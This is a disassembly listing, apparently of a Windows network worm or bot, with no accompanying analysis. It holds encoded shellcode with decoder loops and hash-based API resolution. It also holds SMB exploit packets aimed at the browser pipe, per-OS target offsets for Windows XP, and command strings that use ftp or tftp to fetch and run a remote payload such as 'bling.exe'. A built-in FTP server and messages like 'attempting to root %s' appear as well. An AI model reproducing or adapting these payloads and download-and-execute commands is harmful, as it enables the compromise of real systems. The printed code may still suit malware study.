dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------

loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8

loc_428628:				; CODE XREF: ___:loc_428620j
					; DATA XREF: sub_403249+27o
		pop	esp
		pop	esp

loc_42862A:				; CODE XREF: ___:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
unk_428720	db  81h	; 		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: ___:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------

loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------

loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi

loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------

loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------

loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: ___:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------

loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------

loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A

loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995

loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
					; ___:0042FA18o
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h

loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: ___:004042E4o
					; sub_404F9A+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------

loc_428A5C:				; CODE XREF: ___:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_428AA3:				; CODE XREF: ___:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_428AC8:				; CODE XREF: ___:00428AF5j
		xor	[esi-25h], bl

loc_428ACB:				; CODE XREF: ___:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_428AE4:				; CODE XREF: ___:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_428B02:				; CODE XREF: ___:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]

loc_428B25:				; CODE XREF: ___:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx

loc_428B3A:				; CODE XREF: ___:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_428B8E:				; CODE XREF: ___:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: ___:00404BE6o
dword_428BBC	dd 42Ah			; DATA XREF: ___:00404B99r
dword_428BC0	dd 3E8h			; DATA XREF: ___:00404C0Ar
dword_428BC4	dd 258h			; DATA XREF: ___:00404BDCr
byte_428BC8	db 0			; DATA XREF: ___:00404B45r
					; ___:00404C13r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_428C14:				; CODE XREF: ___:00428B98j
		push	eax
		xor	al, 29h

loc_428C17:				; DATA XREF: ___:00404B6Do
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:00404A9Do
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:00404A41o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
		align 4
a_:					; DATA XREF: sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: ___:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4

loc_429E74:				; DATA XREF: ___:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax

loc_429E92:				; CODE XREF: ___:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx

loc_429EE9:				; CODE XREF: ___:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h

loc_429EFC:				; CODE XREF: ___:00429F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp

loc_429F4D:				; CODE XREF: ___:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h

loc_429F59:				; CODE XREF: ___:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb

loc_429F67:				; CODE XREF: ___:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: ___:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_4053D5+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI:					; DATA XREF: sub_4053D5+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
